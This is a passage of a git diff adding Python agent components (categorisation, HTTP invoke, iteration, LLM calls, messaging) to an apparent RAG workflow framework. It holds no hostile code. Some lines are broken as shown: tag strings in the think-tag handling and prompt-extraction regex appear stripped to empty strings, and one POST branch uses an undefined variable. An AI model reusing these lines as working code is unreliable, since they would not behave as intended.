@staticmethod + def _less_equal_than(value, limit): + return value <= limit + settings.FLOAT_ZERO + + @staticmethod + def _range(value, ranges): + in_range = False + for left_limit, right_limit in ranges: + if ( + left_limit - settings.FLOAT_ZERO + <= value + <= right_limit + settings.FLOAT_ZERO + ): + in_range = True + break + + return in_range + + @staticmethod + def _in(value, right_value_list): + return value in right_value_list + + @staticmethod + def _not_in(value, wrong_value_list): + return value not in wrong_value_list + + def _warn_deprecated_param(self, param_name, descr): + if self._deprecated_params_set.get(param_name): + logging.warning( + f"{descr} {param_name} is deprecated and ignored in this version." + ) + + def _warn_to_deprecate_param(self, param_name, descr, new_param): + if self._deprecated_params_set.get(param_name): + logging.warning( + f"{descr} {param_name} will be deprecated in future release; " + f"please use {new_param} instead." + ) + return True + return False + + +class ComponentBase(ABC): + component_name: str + thread_limiter = trio.CapacityLimiter(int(os.environ.get('MAX_CONCURRENT_CHATS', 10))) + variable_ref_patt = r"\{* *\{([a-zA-Z:0-9]+@[A-Za-z:0-9_.-]+|sys\.[a-z_]+)\} *\}*" + + def __str__(self): + """ + { + "component_name": "Begin", + "params": {} + } + """ + return """{{ + "component_name": "{}", + "params": {} + }}""".format(self.component_name, + self._param + ) + + def __init__(self, canvas, id, param: ComponentParamBase): + from agent.canvas import Graph # Local import to avoid cyclic dependency + assert isinstance(canvas, Graph), "canvas must be an instance of Canvas" + self._canvas = canvas + self._id = id + self._param = param + self._param.check() + + def invoke(self, **kwargs) -> dict[str, Any]: + self.set_output("_created_time", time.perf_counter()) + try: + self._invoke(**kwargs) + except Exception as e: + if self.get_exception_default_value(): + self.set_exception_default_value() + else: + self.set_output("_ERROR", str(e)) + logging.exception(e) + self._param.debug_inputs = {} + self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time")) + return self.output() + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))) + def _invoke(self, **kwargs): + raise NotImplementedError() + + def output(self, var_nm: str=None) -> Union[dict[str, Any], Any]: + if var_nm: + return self._param.outputs.get(var_nm, {}).get("value", "") + return {k: o.get("value") for k,o in self._param.outputs.items()} + + def set_output(self, key: str, value: Any): + if key not in self._param.outputs: + self._param.outputs[key] = {"value": None, "type": str(type(value))} + self._param.outputs[key]["value"] = value + + def error(self): + return self._param.outputs.get("_ERROR", {}).get("value") + + def reset(self, only_output=False): + for k in self._param.outputs.keys(): + self._param.outputs[k]["value"] = None + if only_output: + return + for k in self._param.inputs.keys(): + self._param.inputs[k]["value"] = None + self._param.debug_inputs = {} + + def get_input(self, key: str=None) -> Union[Any, dict[str, Any]]: + if key: + return self._param.inputs.get(key, {}).get("value") + + res = {} + for var, o in self.get_input_elements().items(): + v = self.get_param(var) + if v is None: + continue + if isinstance(v, str) and self._canvas.is_reff(v): + self.set_input_value(var, self._canvas.get_variable_value(v)) + else: + self.set_input_value(var, v) + res[var] = self.get_input_value(var) + return res + + def get_input_values(self) -> Union[Any, dict[str, Any]]: + if self._param.debug_inputs: + return self._param.debug_inputs + + return {var: self.get_input_value(var) for var, o in self.get_input_elements().items()} + + def get_input_elements_from_text(self, txt: str) -> dict[str, dict[str, str]]: + res = {} + for r in re.finditer(self.variable_ref_patt, txt, flags=re.IGNORECASE|re.DOTALL): + exp = r.group(1) + cpn_id, var_nm = exp.split("@") if exp.find("@")>0 else ("", exp) + res[exp] = { + "name": (self._canvas.get_component_name(cpn_id) +f"@{var_nm}") if cpn_id else exp, + "value": self._canvas.get_variable_value(exp), + "_retrival": self._canvas.get_variable_value(f"{cpn_id}@_references") if cpn_id else None, + "_cpn_id": cpn_id + } + return res + + def get_input_elements(self) -> dict[str, Any]: + return self._param.inputs + + def get_input_form(self) -> dict[str, dict]: + return self._param.get_input_form() + + def set_input_value(self, key: str, value: Any) -> None: + if key not in self._param.inputs: + self._param.inputs[key] = {"value": None} + self._param.inputs[key]["value"] = value + + def get_input_value(self, key: str) -> Any: + if key not in self._param.inputs: + return None + return self._param.inputs[key].get("value") + + def get_component_name(self, cpn_id) -> str: + return self._canvas.get_component(cpn_id)["obj"].component_name.lower() + + def get_param(self, name): + if hasattr(self._param, name): + return getattr(self._param, name) + + def debug(self, **kwargs): + return self._invoke(**kwargs) + + def get_parent(self) -> Union[object, None]: + pid = self._canvas.get_component(self._id).get("parent_id") + if not pid: + return + return self._canvas.get_component(pid)["obj"] + + def get_upstream(self) -> List[str]: + cpn_nms = self._canvas.get_component(self._id)['upstream'] + return cpn_nms + + def get_downstream(self) -> List[str]: + cpn_nms = self._canvas.get_component(self._id)['downstream'] + return cpn_nms + + @staticmethod + def string_format(content: str, kv: dict[str, str]) -> str: + for n, v in kv.items(): + def repl(_match, val=v): + return str(val) if val is not None else "" + content = re.sub( + r"\{%s\}" % re.escape(n), + repl, + content + ) + return content + + def exception_handler(self): + if not self._param.exception_method: + return + return { + "goto": self._param.exception_goto, + "default_value": self._param.exception_default_value + } + + def get_exception_default_value(self): + if self._param.exception_method != "comment": + return "" + return self._param.exception_default_value + + def set_exception_default_value(self): + self.set_output("result", self.get_exception_default_value()) + + def thoughts(self) -> str: + raise NotImplementedError() diff --git a/agent/component/begin.py b/agent/component/begin.py new file mode 100644 index 0000000..159f0f5 --- /dev/null +++ b/agent/component/begin.py @@ -0,0 +1,52 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from agent.component.fillup import UserFillUpParam, UserFillUp + + +class BeginParam(UserFillUpParam): + + """ + Define the Begin component parameters. + """ + def __init__(self): + super().__init__() + self.mode = "conversational" + self.prologue = "Hi! I'm your smart assistant. What can I do for you?" + + def check(self): + self.check_valid_value(self.mode, "The 'mode' should be either `conversational` or `task`", ["conversational", "task"]) + + def get_input_form(self) -> dict[str, dict]: + return getattr(self, "inputs") + + +class Begin(UserFillUp): + component_name = "Begin" + + def _invoke(self, **kwargs): + for k, v in kwargs.get("inputs", {}).items(): + if isinstance(v, dict) and v.get("type", "").lower().find("file") >=0: + if v.get("optional") and v.get("value", None) is None: + v = None + else: + v = self._canvas.get_files([v["value"]]) + else: + v = v.get("value") + self.set_output(k, v) + self.set_input_value(k, v) + + def thoughts(self) -> str: + return "" diff --git a/agent/component/categorize.py b/agent/component/categorize.py new file mode 100644 index 0000000..af2666f --- /dev/null +++ b/agent/component/categorize.py @@ -0,0 +1,137 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import re +from abc import ABC + +from api.db import LLMType +from api.db.services.llm_service import LLMBundle +from agent.component.llm import LLMParam, LLM +from api.utils.api_utils import timeout +from rag.llm.chat_model import ERROR_PREFIX + + +class CategorizeParam(LLMParam): + + """ + Define the categorize component parameters. + """ + def __init__(self): + super().__init__() + self.category_description = {} + self.query = "sys.query" + self.message_history_window_size = 1 + self.update_prompt() + + def check(self): + self.check_positive_integer(self.message_history_window_size, "[Categorize] Message window size > 0") + self.check_empty(self.category_description, "[Categorize] Category examples") + for k, v in self.category_description.items(): + if not k: + raise ValueError("[Categorize] Category name can not be empty!") + if not v.get("to"): + raise ValueError(f"[Categorize] 'To' of category {k} can not be empty!") + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "type": "line", + "name": "Query" + } + } + + def update_prompt(self): + cate_lines = [] + for c, desc in self.category_description.items(): + for line in desc.get("examples", []): + if not line: + continue + cate_lines.append("USER: \"" + re.sub(r"\n", " ", line, flags=re.DOTALL) + "\" → "+c) + + descriptions = [] + for c, desc in self.category_description.items(): + if desc.get("description"): + descriptions.append( + "\n------\nCategory: {}\nDescription: {}".format(c, desc["description"])) + + self.sys_prompt = """ +You are an advanced classification system that categorizes user questions into specific types. Analyze the input question and classify it into ONE of the following categories: +{} + +Here's description of each category: + - {} + +---- Instructions ---- + - Consider both explicit mentions and implied context + - Prioritize the most specific applicable category + - Return only the category name without explanations + - Use "Other" only when no other category fits + + """.format( + "\n - ".join(list(self.category_description.keys())), + "\n".join(descriptions) + ) + + if cate_lines: + self.sys_prompt += """ +---- Examples ---- +{} +""".format("\n".join(cate_lines)) + + +class Categorize(LLM, ABC): + component_name = "Categorize" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))) + def _invoke(self, **kwargs): + msg = self._canvas.get_history(self._param.message_history_window_size) + if not msg: + msg = [{"role": "user", "content": ""}] + if kwargs.get("sys.query"): + msg[-1]["content"] = kwargs["sys.query"] + self.set_input_value("sys.query", kwargs["sys.query"]) + else: + msg[-1]["content"] = self._canvas.get_variable_value(self._param.query) + self.set_input_value(self._param.query, msg[-1]["content"]) + self._param.update_prompt() + chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT, self._param.llm_id) + + user_prompt = """ +---- Real Data ---- +{} → +""".format(" | ".join(["{}: \"{}\"".format(c["role"].upper(), re.sub(r"\n", "", c["content"], flags=re.DOTALL)) for c in msg])) + ans = chat_mdl.chat(self._param.sys_prompt, [{"role": "user", "content": user_prompt}], self._param.gen_conf()) + logging.info(f"input: {user_prompt}, answer: {str(ans)}") + if ERROR_PREFIX in ans: + raise Exception(ans) + # Count the number of times each category appears in the answer. + category_counts = {} + for c in self._param.category_description.keys(): + count = ans.lower().count(c.lower()) + category_counts[c] = count + + cpn_ids = list(self._param.category_description.items())[-1][1]["to"] + max_category = list(self._param.category_description.keys())[0] + if any(category_counts.values()): + max_category = max(category_counts.items(), key=lambda x: x[1])[0] + cpn_ids = self._param.category_description[max_category]["to"] + + self.set_output("category_name", max_category) + self.set_output("_next", cpn_ids) + + def thoughts(self) -> str: + return "Which should it falls into {}? ...".format(",".join([f"`{c}`" for c, _ in self._param.category_description.items()])) diff --git a/agent/component/fillup.py b/agent/component/fillup.py new file mode 100644 index 0000000..5b57bed --- /dev/null +++ b/agent/component/fillup.py @@ -0,0 +1,40 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from agent.component.base import ComponentBase, ComponentParamBase + + +class UserFillUpParam(ComponentParamBase): + + def __init__(self): + super().__init__() + self.enable_tips = True + self.tips = "Please fill up the form" + + def check(self) -> bool: + return True + + +class UserFillUp(ComponentBase): + component_name = "UserFillUp" + + def _invoke(self, **kwargs): + for k, v in kwargs.get("inputs", {}).items(): + self.set_output(k, v) + + def thoughts(self) -> str: + return "Waiting for your input..." + + diff --git a/agent/component/invoke.py b/agent/component/invoke.py new file mode 100644 index 0000000..d31c7ed --- /dev/null +++ b/agent/component/invoke.py @@ -0,0 +1,135 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import os +import re +import time +from abc import ABC + +import requests + +from agent.component.base import ComponentBase, ComponentParamBase +from api.utils.api_utils import timeout +from deepdoc.parser import HtmlParser + + +class InvokeParam(ComponentParamBase): + """ + Define the Crawler component parameters. + """ + + def __init__(self): + super().__init__() + self.proxy = None + self.headers = "" + self.method = "get" + self.variables = [] + self.url = "" + self.timeout = 60 + self.clean_html = False + self.datatype = "json" # New parameter to determine data posting type + + def check(self): + self.check_valid_value(self.method.lower(), "Type of content from the crawler", ["get", "post", "put"]) + self.check_empty(self.url, "End point URL") + self.check_positive_integer(self.timeout, "Timeout time in second") + self.check_boolean(self.clean_html, "Clean HTML") + self.check_valid_value(self.datatype.lower(), "Data post type", ["json", "formdata"]) # Check for valid datapost value + + +class Invoke(ComponentBase, ABC): + component_name = "Invoke" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3))) + def _invoke(self, **kwargs): + args = {} + for para in self._param.variables: + if para.get("value"): + args[para["key"]] = para["value"] + else: + args[para["key"]] = self._canvas.get_variable_value(para["ref"]) + + url = self._param.url.strip() + + def replace_variable(match): + var_name = match.group(1) + try: + value = self._canvas.get_variable_value(var_name) + return str(value or "") + except Exception: + return "" + + # {base_url} or {component_id@variable_name} + url = re.sub(r"\{([a-zA-Z_][a-zA-Z0-9_.@-]*)\}", replace_variable, url) + + if url.find("http") != 0: + url = "http://" + url + + method = self._param.method.lower() + headers = {} + if self._param.headers: + headers = json.loads(self._param.headers) + proxies = None + if re.sub(r"https?:?/?/?", "", self._param.proxy): + proxies = {"http": self._param.proxy, "https": self._param.proxy} + + last_e = "" + for _ in range(self._param.max_retries + 1): + try: + if method == "get": + response = requests.get(url=url, params=args, headers=headers, proxies=proxies, timeout=self._param.timeout) + if self._param.clean_html: + sections = HtmlParser()(None, response.content) + self.set_output("result", "\n".join(sections)) + else: + self.set_output("result", response.text) + + if method == "put": + if self._param.datatype.lower() == "json": + response = requests.put(url=url, json=args, headers=headers, proxies=proxies, timeout=self._param.timeout) + else: + response = requests.put(url=url, data=args, headers=headers, proxies=proxies, timeout=self._param.timeout) + if self._param.clean_html: + sections = HtmlParser()(None, response.content) + self.set_output("result", "\n".join(sections)) + else: + self.set_output("result", response.text) + + if method == "post": + if self._param.datatype.lower() == "json": + response = requests.post(url=url, json=args, headers=headers, proxies=proxies, timeout=self._param.timeout) + else: + response = requests.post(url=url, data=args, headers=headers, proxies=proxies, timeout=self._param.timeout) + if self._param.clean_html: + self.set_output("result", "\n".join(sections)) + else: + self.set_output("result", response.text) + + return self.output("result") + except Exception as e: + last_e = e + logging.exception(f"Http request error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"Http request error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return "Waiting for the server respond..." diff --git a/agent/component/iteration.py b/agent/component/iteration.py new file mode 100644 index 0000000..460969d --- /dev/null +++ b/agent/component/iteration.py @@ -0,0 +1,60 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from abc import ABC +from agent.component.base import ComponentBase, ComponentParamBase + + +class IterationParam(ComponentParamBase): + """ + Define the Iteration component parameters. + """ + + def __init__(self): + super().__init__() + self.items_ref = "" + + def get_input_form(self) -> dict[str, dict]: + return { + "items": { + "type": "json", + "name": "Items" + } + } + + def check(self): + return True + + +class Iteration(ComponentBase, ABC): + component_name = "Iteration" + + def get_start(self): + for cid in self._canvas.components.keys(): + if self._canvas.get_component(cid)["obj"].component_name.lower() != "iterationitem": + continue + if self._canvas.get_component(cid)["parent_id"] == self._id: + return cid + + def _invoke(self, **kwargs): + arr = self._canvas.get_variable_value(self._param.items_ref) + if not isinstance(arr, list): + self.set_output("_ERROR", self._param.items_ref + " must be an array, but its type is "+str(type(arr))) + + def thoughts(self) -> str: + return "Need to process {} items.".format(len(self._canvas.get_variable_value(self._param.items_ref))) + + + diff --git a/agent/component/iterationitem.py b/agent/component/iterationitem.py new file mode 100644 index 0000000..6c4d0ba --- /dev/null +++ b/agent/component/iterationitem.py @@ -0,0 +1,83 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from abc import ABC +from agent.component.base import ComponentBase, ComponentParamBase + + +class IterationItemParam(ComponentParamBase): + """ + Define the IterationItem component parameters. + """ + def check(self): + return True + + +class IterationItem(ComponentBase, ABC): + component_name = "IterationItem" + + def __init__(self, canvas, id, param: ComponentParamBase): + super().__init__(canvas, id, param) + self._idx = 0 + + def _invoke(self, **kwargs): + parent = self.get_parent() + arr = self._canvas.get_variable_value(parent._param.items_ref) + if not isinstance(arr, list): + self._idx = -1 + raise Exception(parent._param.items_ref + " must be an array, but its type is "+str(type(arr))) + + if self._idx > 0: + self.output_collation() + + if self._idx >= len(arr): + self._idx = -1 + return + + self.set_output("item", arr[self._idx]) + self.set_output("index", self._idx) + + self._idx += 1 + + def output_collation(self): + pid = self.get_parent()._id + for cid in self._canvas.components.keys(): + obj = self._canvas.get_component_obj(cid) + p = obj.get_parent() + if not p: + continue + if p._id != pid: + continue + + if p.component_name.lower() in ["categorize", "message", "switch", "userfillup", "interationitem"]: + continue + + for k, o in p._param.outputs.items(): + if "ref" not in o: + continue + _cid, var = o["ref"].split("@") + if _cid != cid: + continue + res = p.output(k) + if not res: + res = [] + res.append(obj.output(var)) + p.set_output(k, res) + + def end(self): + return self._idx == -1 + + def thoughts(self) -> str: + return "Next turn..." \ No newline at end of file diff --git a/agent/component/llm.py b/agent/component/llm.py new file mode 100644 index 0000000..1e6c35c --- /dev/null +++ b/agent/component/llm.py @@ -0,0 +1,286 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +import os +import re +from copy import deepcopy +from typing import Any, Generator +import json_repair +from functools import partial +from api.db import LLMType +from api.db.services.llm_service import LLMBundle +from api.db.services.tenant_llm_service import TenantLLMService +from agent.component.base import ComponentBase, ComponentParamBase +from api.utils.api_utils import timeout +from rag.prompts.generator import tool_call_summary, message_fit_in, citation_prompt + + +class LLMParam(ComponentParamBase): + """ + Define the LLM component parameters. + """ + + def __init__(self): + super().__init__() + self.llm_id = "" + self.sys_prompt = "" + self.prompts = [{"role": "user", "content": "{sys.query}"}] + self.max_tokens = 0 + self.temperature = 0 + self.top_p = 0 + self.presence_penalty = 0 + self.frequency_penalty = 0 + self.output_structure = None + self.cite = True + self.visual_files_var = None + + def check(self): + self.check_decimal_float(float(self.temperature), "[Agent] Temperature") + self.check_decimal_float(float(self.presence_penalty), "[Agent] Presence penalty") + self.check_decimal_float(float(self.frequency_penalty), "[Agent] Frequency penalty") + self.check_nonnegative_number(int(self.max_tokens), "[Agent] Max tokens") + self.check_decimal_float(float(self.top_p), "[Agent] Top P") + self.check_empty(self.llm_id, "[Agent] LLM") + self.check_empty(self.sys_prompt, "[Agent] System prompt") + self.check_empty(self.prompts, "[Agent] User prompt") + + def gen_conf(self): + conf = {} + def get_attr(nm): + try: + return getattr(self, nm) + except Exception: + pass + + if int(self.max_tokens) > 0 and get_attr("maxTokensEnabled"): + conf["max_tokens"] = int(self.max_tokens) + if float(self.temperature) > 0 and get_attr("temperatureEnabled"): + conf["temperature"] = float(self.temperature) + if float(self.top_p) > 0 and get_attr("topPEnabled"): + conf["top_p"] = float(self.top_p) + if float(self.presence_penalty) > 0 and get_attr("presencePenaltyEnabled"): + conf["presence_penalty"] = float(self.presence_penalty) + if float(self.frequency_penalty) > 0 and get_attr("frequencyPenaltyEnabled"): + conf["frequency_penalty"] = float(self.frequency_penalty) + return conf + + +class LLM(ComponentBase): + component_name = "LLM" + + def __init__(self, canvas, component_id, param: ComponentParamBase): + super().__init__(canvas, component_id, param) + self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), TenantLLMService.llm_id2llm_type(self._param.llm_id), + self._param.llm_id, max_retries=self._param.max_retries, + retry_interval=self._param.delay_after_error + ) + self.imgs = [] + + def get_input_form(self) -> dict[str, dict]: + res = {} + for k, v in self.get_input_elements().items(): + res[k] = { + "type": "line", + "name": v["name"] + } + return res + + def get_input_elements(self) -> dict[str, Any]: + res = self.get_input_elements_from_text(self._param.sys_prompt) + if isinstance(self._param.prompts, str): + self._param.prompts = [{"role": "user", "content": self._param.prompts}] + for prompt in self._param.prompts: + d = self.get_input_elements_from_text(prompt["content"]) + res.update(d) + return res + + def set_debug_inputs(self, inputs: dict[str, dict]): + self._param.debug_inputs = inputs + + def add2system_prompt(self, txt): + self._param.sys_prompt += txt + + def _sys_prompt_and_msg(self, msg, args): + if isinstance(self._param.prompts, str): + self._param.prompts = [{"role": "user", "content": self._param.prompts}] + for p in self._param.prompts: + if msg and msg[-1]["role"] == p["role"]: + continue + p = deepcopy(p) + p["content"] = self.string_format(p["content"], args) + msg.append(p) + return msg, self.string_format(self._param.sys_prompt, args) + + def _prepare_prompt_variables(self): + if self._param.visual_files_var: + self.imgs = self._canvas.get_variable_value(self._param.visual_files_var) + if not self.imgs: + self.imgs = [] + self.imgs = [img for img in self.imgs if img[:len("data:image/")] == "data:image/"] + if self.imgs and TenantLLMService.llm_id2llm_type(self._param.llm_id) == LLMType.CHAT.value: + self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.IMAGE2TEXT.value, + self._param.llm_id, max_retries=self._param.max_retries, + retry_interval=self._param.delay_after_error + ) + + + args = {} + vars = self.get_input_elements() if not self._param.debug_inputs else self._param.debug_inputs + for k, o in vars.items(): + args[k] = o["value"] + if not isinstance(args[k], str): + try: + args[k] = json.dumps(args[k], ensure_ascii=False) + except Exception: + args[k] = str(args[k]) + self.set_input_value(k, args[k]) + + msg, sys_prompt = self._sys_prompt_and_msg(self._canvas.get_history(self._param.message_history_window_size)[:-1], args) + user_defined_prompt, sys_prompt = self._extract_prompts(sys_prompt) + if self._param.cite and self._canvas.get_reference()["chunks"]: + sys_prompt += citation_prompt(user_defined_prompt) + + return sys_prompt, msg, user_defined_prompt + + def _extract_prompts(self, sys_prompt): + pts = {} + for tag in ["TASK_ANALYSIS", "PLAN_GENERATION", "REFLECTION", "CONTEXT_SUMMARY", "CONTEXT_RANKING", "CITATION_GUIDELINES"]: + r = re.search(rf"<{tag}>(.*?)", sys_prompt, flags=re.DOTALL|re.IGNORECASE) + if not r: + continue + pts[tag.lower()] = r.group(1) + sys_prompt = re.sub(rf"<{tag}>(.*?)", "", sys_prompt, flags=re.DOTALL|re.IGNORECASE) + return pts, sys_prompt + + def _generate(self, msg:list[dict], **kwargs) -> str: + if not self.imgs: + return self.chat_mdl.chat(msg[0]["content"], msg[1:], self._param.gen_conf(), **kwargs) + return self.chat_mdl.chat(msg[0]["content"], msg[1:], self._param.gen_conf(), images=self.imgs, **kwargs) + + def _generate_streamly(self, msg:list[dict], **kwargs) -> Generator[str, None, None]: + ans = "" + last_idx = 0 + endswith_think = False + def delta(txt): + nonlocal ans, last_idx, endswith_think + delta_ans = txt[last_idx:] + ans = txt + + if delta_ans.find("") == 0: + last_idx += len("") + return "" + elif delta_ans.find("") > 0: + delta_ans = txt[last_idx:last_idx+delta_ans.find("")] + last_idx += delta_ans.find("") + return delta_ans + elif delta_ans.endswith(""): + endswith_think = True + elif endswith_think: + endswith_think = False + return "" + + last_idx = len(ans) + if ans.endswith(""): + last_idx -= len("") + return re.sub(r"(|)", "", delta_ans) + + if not self.imgs: + for txt in self.chat_mdl.chat_streamly(msg[0]["content"], msg[1:], self._param.gen_conf(), **kwargs): + yield delta(txt) + else: + for txt in self.chat_mdl.chat_streamly(msg[0]["content"], msg[1:], self._param.gen_conf(), images=self.imgs, **kwargs): + yield delta(txt) + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))) + def _invoke(self, **kwargs): + def clean_formated_answer(ans: str) -> str: + ans = re.sub(r"^.*", "", ans, flags=re.DOTALL) + ans = re.sub(r"^.*```json", "", ans, flags=re.DOTALL) + return re.sub(r"```\n*$", "", ans, flags=re.DOTALL) + + prompt, msg, _ = self._prepare_prompt_variables() + error: str = "" + + if self._param.output_structure: + prompt += "\nThe output MUST follow this JSON format:\n"+json.dumps(self._param.output_structure, ensure_ascii=False, indent=2) + prompt += "\nRedundant information is FORBIDDEN." + for _ in range(self._param.max_retries+1): + _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97)) + error = "" + ans = self._generate(msg) + msg.pop(0) + if ans.find("**ERROR**") >= 0: + logging.error(f"LLM response error: {ans}") + error = ans + continue + try: + self.set_output("structured_content", json_repair.loads(clean_formated_answer(ans))) + return + except Exception: + msg.append({"role": "user", "content": "The answer can't not be parsed as JSON"}) + error = "The answer can't not be parsed as JSON" + if error: + self.set_output("_ERROR", error) + return + + downstreams = self._canvas.get_component(self._id)["downstream"] if self._canvas.get_component(self._id) else [] + ex = self.exception_handler() + if any([self._canvas.get_component_obj(cid).component_name.lower()=="message" for cid in downstreams]) and not self._param.output_structure and not (ex and ex["goto"]): + self.set_output("content", partial(self._stream_output, prompt, msg)) + return + + for _ in range(self._param.max_retries+1): + _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97)) + error = "" + ans = self._generate(msg) + msg.pop(0) + if ans.find("**ERROR**") >= 0: + logging.error(f"LLM response error: {ans}") + error = ans + continue + self.set_output("content", ans) + break + + if error: + if self.get_exception_default_value(): + self.set_output("content", self.get_exception_default_value()) + else: + self.set_output("_ERROR", error) + + def _stream_output(self, prompt, msg): + _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97)) + answer = "" + for ans in self._generate_streamly(msg): + if ans.find("**ERROR**") >= 0: + if self.get_exception_default_value(): + self.set_output("content", self.get_exception_default_value()) + yield self.get_exception_default_value() + else: + self.set_output("_ERROR", ans) + return + yield ans + answer += ans + self.set_output("content", answer) + + def add_memory(self, user:str, assist:str, func_name: str, params: dict, results: str, user_defined_prompt:dict={}): + summ = tool_call_summary(self.chat_mdl, func_name, params, results, user_defined_prompt) + logging.info(f"[MEMORY]: {summ}") + self._canvas.add_memory(user, assist, summ) + + def thoughts(self) -> str: + _, msg,_ = self._prepare_prompt_variables() + return "⌛Give me a moment—starting from: \n\n" + re.sub(r"(User's query:|[\\]+)", '', msg[-1]['content'], flags=re.DOTALL) + "\n\nI’ll figure out our best next move." \ No newline at end of file diff --git a/agent/component/message.py b/agent/component/message.py new file mode 100644 index 0000000..3569065 --- /dev/null +++ b/agent/component/message.py @@ -0,0 +1,150 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import os +import random +import re +from functools import partial +from typing import Any + +from agent.component.base import ComponentBase, ComponentParamBase +from jinja2 import Template as Jinja2Template + +from api.utils.api_utils import timeout + + +class MessageParam(ComponentParamBase): + """ + Define the Message component parameters. + """ + def __init__(self): + super().__init__() + self.content = [] + self.stream = True + self.outputs = { + "content": { + "type": "str" + } + } + + def check(self): + self.check_empty(self.content, "[Message] Content") + self.check_boolean(self.stream, "[Message] stream") + return True + + +class Message(ComponentBase): + component_name = "Message" + + def get_kwargs(self, script:str, kwargs:dict = {}, delimiter:str=None) -> tuple[str, dict[str, str | list | Any]]: + for k,v in self.get_input_elements_from_text(script).items(): + if k in kwargs: + continue + v = v["value"] + if not v: + v = "" + ans = "" + if isinstance(v, partial): + for t in v(): + ans += t + elif isinstance(v, list) and delimiter: + ans = delimiter.join([str(vv) for vv in v]) + elif not isinstance(v, str): + try: + ans = json.dumps(v, ensure_ascii=False) + except Exception: + pass + else: + ans = v + if not ans: + ans = "" + kwargs[k] = ans + self.set_input_value(k, ans) + + _kwargs = {} + for n, v in kwargs.items(): + _n = re.sub("[@:.]", "_", n) + script = re.sub(r"\{%s\}" % re.escape(n), _n, script) + _kwargs[_n] = v + return script, _kwargs + + def _stream(self, rand_cnt:str): + s = 0 + all_content = "" + cache = {} + for r in re.finditer(self.variable_ref_patt, rand_cnt, flags=re.DOTALL): + all_content += rand_cnt[s: r.start()] + yield rand_cnt[s: r.start()] + s = r.end() + exp = r.group(1) + if exp 